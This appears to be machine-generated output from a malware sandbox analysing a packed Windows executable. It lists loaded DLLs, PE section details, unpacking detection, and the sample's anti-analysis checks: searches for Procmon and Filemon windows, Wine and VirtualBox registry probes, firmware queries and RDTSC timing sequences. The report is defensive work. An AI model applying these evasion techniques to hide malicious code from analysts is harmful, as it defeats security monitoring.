Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1905152 > 1048576

Source: file.exe

Static PE information: Raw size of zvmykcec is bigger than: 0x100000 < 0x1a7400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.e00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zvmykcec:EW;moejyldo:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zvmykcec:EW;moejyldo:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d2b3e should be: 0x1d5056

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zvmykcec
Source: file.exe	Static PE information: section name: moejyldo
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B8D208 push eax; iretd	1_3_00B8D209
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B8CF80 push eax; iretd	1_3_00B8CF81
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B8D280 push eax; iretd	1_3_00B8D281
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B8D5F0 pushad ; retf	1_3_00B8D5F2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B8CB75 pushad ; retf	1_3_00B8CB81
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00B732F4 push esi; retf	1_3_00B732F7

Source: file.exe	Static PE information: section name: entropy: 7.977673528702958
Source: file.exe	Static PE information: section name: zvmykcec entropy: 7.954324471669253

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3876 second address: FE38AC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1520D32C96h 0x00000008 jmp 00007F1520D32CA2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jmp 00007F1520D32CA6h 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2860 second address: FE2876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F15206D4F10h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2876 second address: FE287A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE287A second address: FE2888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F15206D4F06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2888 second address: FE288C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2BAE second address: FE2BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE301B second address: FE3022 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE318F second address: FE3195 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3195 second address: FE319F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE56F8 second address: FE5728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F19h 0x00000009 popad 0x0000000a jl 00007F15206D4F0Ch 0x00000010 je 00007F15206D4F06h 0x00000016 popad 0x00000017 push eax 0x00000018 push ecx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5728 second address: FE573C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a js 00007F1520D32CAFh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE573C second address: FE5764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F15206D4F0Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5764 second address: FE57AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e je 00007F1520D32C9Ah 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov esi, dword ptr [ebp+122D3C17h] 0x0000001f lea ebx, dword ptr [ebp+1245C4F7h] 0x00000025 mov dword ptr [ebp+122D1C20h], edi 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F1520D32CA6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5888 second address: FE58AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15206D4F11h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3271 second address: FD3277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3277 second address: FD3281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10052CC second address: 10052E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1520D32CA5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005744 second address: 1005798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F15206D4F06h 0x0000000a popad 0x0000000b jne 00007F15206D4F30h 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F15206D4F0Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005798 second address: 100579C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100579C second address: 10057AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10057AA second address: 10057B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10057B0 second address: 10057B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005A01 second address: 1005A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005D18 second address: 1005D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005D1C second address: 1005D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10060DF second address: 10060F7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F15206D4F0Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10060F7 second address: 1006109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1520D32C9Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006228 second address: 1006231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006231 second address: 1006235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006235 second address: 1006264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jp 00007F15206D4F06h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jo 00007F15206D4F17h 0x00000018 jmp 00007F15206D4F11h 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10063BC second address: 10063C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10063C2 second address: 10063E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15206D4F19h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10063E0 second address: 10063EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1520D32C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD7A5 second address: FFD7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F15206D4F06h 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F15206D4F0Eh 0x00000013 pop ecx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006C75 second address: 1006C83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006FBD second address: 1006FC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F15206D4F06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006FC9 second address: 1006FD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006FD0 second address: 1006FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B512 second address: 100B529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1520D32C9Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A32C second address: 100A343 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15206D4F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jno 00007F15206D4F06h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AA18 second address: 100AA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AA27 second address: 100AA2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BE05 second address: 100BE09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BE09 second address: 100BE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD18F second address: FDD195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD195 second address: FDD1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jno 00007F15206D4F06h 0x0000000e jmp 00007F15206D4F0Bh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jmp 00007F15206D4F12h 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10128F9 second address: 10128FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012FBD second address: 1012FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013160 second address: 101316A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1520D32C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101316A second address: 101317A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F15206D4F06h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101317A second address: 101317E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016379 second address: 1016386 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
